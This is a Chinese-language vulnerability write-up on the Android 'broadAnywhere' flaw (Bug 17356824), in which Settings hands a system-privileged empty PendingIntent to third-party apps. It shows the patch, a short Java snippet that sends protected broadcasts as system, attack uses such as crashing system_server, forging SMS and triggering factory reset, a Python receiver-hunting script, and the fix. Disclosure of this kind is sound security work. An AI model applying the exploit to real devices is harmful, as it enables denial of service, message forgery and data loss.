Lolipop源代码已经放出有些日子了。我发现google在5.0上修复了一个高危漏洞,利用该漏洞能够发送随意广播:不仅能够发送系统保护级别的广播、还能够无视receiver的android:exported=false、android:permisson=XXX 属性的限制。简直就是LaunchAnywhere[1] 漏洞的broadcast版本号,所以就称它是broadAnywhere吧。这个漏洞在5.0下面的系统上通杀,影响还是非常大的。

 

一、先看补丁

broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)_xml

通过补丁[2]能够看到漏洞发生在src/com/android/settings/accounts/AddAccountSettings.java 的 addAccount 函数中。

这回这个漏洞出如今Settings加入账户的时候。

使用AccountManager加入账户的流程例如以下图:

broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)_android_02

关于AccountManagerService的流程机制请參考LaunchAnywhere漏洞的分析[1],本篇就不赘述了。

二、怎样利用

本次的漏洞就发生在流程图的Step1之前, Setting调用了AccountManager.addAccount。

在传递的AddAccountOptions參数时加入了一个PendingIntent。其intent类型是Broadcast。

注意这个PendingIntent是Settings创建的,拥有system权限。


1


2


3


4


5


6



​private​​ ​​void​​ ​​addAccount(String accountType) {​


​Bundle addAccountOptions = ​​​​new​​ ​​Bundle();​


​mPendingIntent = PendingIntent.getBroadcast(​​​​this​​​​, ​​​​0​​​​, ​​​​new​​ ​​Intent(), ​​​​0​​​​);​


​addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);​


​addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(​​​​this​​​​));​


​AccountManager.get(​​​​this​​​​).addAccount(​


AppB会在step3的时候取到了AddAccountOptions參数。从中获得了这个PendingIntent。而且能够利用它以system的身份发送广播。演示样例代码例如以下:


1


2


3


4


5


6


7


8



​PendingIntent pending_intent = (PendingIntent)options.get(​​​​"pendingIntent"​​​​);​


​intent.setAction(​​​​"android.intent.action.BOOT_COMPLETED"​​​​);​


 


​try​​ ​​{​


​pending_intent.send(getGlobalApplicationContext(),​​​​0​​​​,intent,​​​​null​​​​,​​​​null​​​​,​​​​null​​​​);​


​} ​​​​catch​​ ​​(CanceledException e) {​


​e.printStackTrace();​


​}​


以System身份能够发送系统级的广播protected-broadcast,同一时候还能够将广播发送给未导出的receiver(android:exported=false)和有权限限制的receiver。

三、原理分析

回过头再看一下Settings是怎样创建PendingIntent的:

1

​mPendingIntent = PendingIntent.getBroadcast(​​​​this​​​​, ​​​​0​​​​, ​​​​new​​ ​​Intent(), ​​​​0​​​​);​

Settings本身是一个高权限进程,它将自己的PendingIntent传给不可信的第三方程序是不安全的。

 

因为Settings初始化PendingIntent的时候传入的是一个没有内容的new Intent(),所以攻击者在调用PendingIntent.send( )的时候能够随意设置Intent中的大部分内容。这是因为在系统源代码中PendingIntentRecord.sendInner 调用了finalIntent.fillIn(intent, key.flags);,同意调用者填充Intent的值。

 

PendingIntentRecord.java


1


2


3


4


5


6


7


8


9


10


11


12


13


14


15



​196​​    ​​int​​ ​​sendInner(​​​​int​​ ​​code, Intent intent, String resolvedType,​


​197​​            ​​IIntentReceiver finishedReceiver, String requiredPermission,​


​198​​            ​​IBinder resultTo, String resultWho, ​​​​int​​ ​​requestCode,​


​199​​            ​​int​​ ​​flagsMask, ​​​​int​​ ​​flagsValues, Bundle options) {​


​200​​        ​​synchronized​​​​(owner) {​


​201​​            ​​if​​ ​​(!canceled) {​


​202​​                ​​sent = ​​​​true​​​​;​


​203​​                ​​if​​ ​​((key.flags&PendingIntent.FLAG_ONE_SHOT) != ​​​​0​​​​) {​


​204​​                    ​​owner.cancelIntentSenderLocked(​​​​this​​​​, ​​​​true​​​​);​


​205​​                    ​​canceled = ​​​​true​​​​;​


​206​​                ​​}​


​207​​                ​​Intent finalIntent = key.requestIntent != ​​​​null​


​208​​                        ​​?​

​new​​ ​​Intent(key.requestIntent) : ​​​​new​​ ​​Intent();​


​209​​                ​​if​​ ​​(intent != ​​​​null​​​​) {​


​210​​                    ​​int​​ ​​changes = finalIntent.fillIn(intent, key.flags);​


四、漏洞危害和应用场景

这个漏洞在安卓5.0下面通杀,能够觉得该漏洞影响眼下99.9%的安卓手机。

 

利用这个漏洞能够攻击绝大多数broadcast receiver。

因为Intent.fillIn这个函数要求component必须显式填充[3]。我们不能发送指定component的intent的。

可是能够通过指定intent的action已经能够攻击大多数receiver了。

 

所以这个漏洞也是有非常大利用空间的。下面举几个样例

 

1.       发送android.intent.action.BOOT_COMPLETED广播,这是一个系统保护的广播action。发送这个广播将导致system_server直接崩溃,造成本地DoS攻击。

2.       4.4上发送android.provider.Telephony.SMS_DELIVER能够伪造接收短信。

3.       发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。

 

上述提到的几种利用方法已经开源:

https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824


伪造短信演示视频:


对于厂商定制固件来说,还可能有很多其它的利用方法。通过搜索系统应用的receiver。能够找到很多其它可攻击的receiver,搜索方法能够參考下面代码(python):


1


2


3


4


5


6


7


8


9


10


11


12


13


14


15


16


17


18


19



​def​​ ​​get_receiver(​​​​self​​​​):​


 


​xmltag ​​​​=​​ ​​self​​​​.manifest.getElementsByTagName(​​​​'protected-broadcast'​​​​)​


​if​​ ​​len​​​​(xmltag) !​​​​=​​ ​​0​​​​:   ​


 


​logByThread( ​​​​self​​​​.__apk_obj.get_filename())​


​logByThread( ​​​​'protected-broadcast'​​​​)​


​for​​ ​​x ​​​​in​​ ​​xmltag:​


​logByThread(  x.getAttribute(​​​​"android:name"​​​​))​


 


​xmltag ​​​​=​​ ​​self​​​​.manifest.getElementsByTagName(​​​​'receiver'​​​​)​


​if​​ ​​len​​​​(xmltag) !​​​​=​​ ​​0​​​​:​


​logByThread( ​​​​self​​​​.__apk_obj.get_filename())​


​logByThread( ​​​​'reciever-with-permission'​​​​)​


​for​​ ​​x ​​​​in​​ ​​xmltag:​


​if​​ ​​x.hasAttribute(​​​​"android:permission"​​​​) ​​​​or​​ ​​(x.hasAttribute(​​​​"android:exported"​​​​) ​​​​and​​​​x.getAttribute(​​​​"android:exported"​​​​).find(​​​​"false"​​​​)!​​​​=​​​​-​​​​1​​​​):​


​if​​ ​​len​​​​(x.getElementsByTagName(​​​​"intent-filter"​​​​)) !​​​​=​​​​0​​​​:​


​logByThread( x.toxml())​


​return​


五、漏洞修复

通过凝视知道这个PendingIntent是用来告诉第三方应用,发起addAccount的应用是Settings。

这里事实上这不是必需用PendingIntent。只是出于历史原因,这个接口还得继续支持下去。

所以这个漏洞的修复就仅仅是简单地将PendingIntent所关联的Intent中的component、action、action中初始化了一个无意义的值。这样一来AppB也就不能够借助Intent.fillin()对intent的值进行二次填充了。


1


2


3



​+        identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));​


​+        identityIntent.setAction(SHOULD_NOT_RESOLVE);​


​+        identityIntent.addCategory(SHOULD_NOT_RESOLVE);​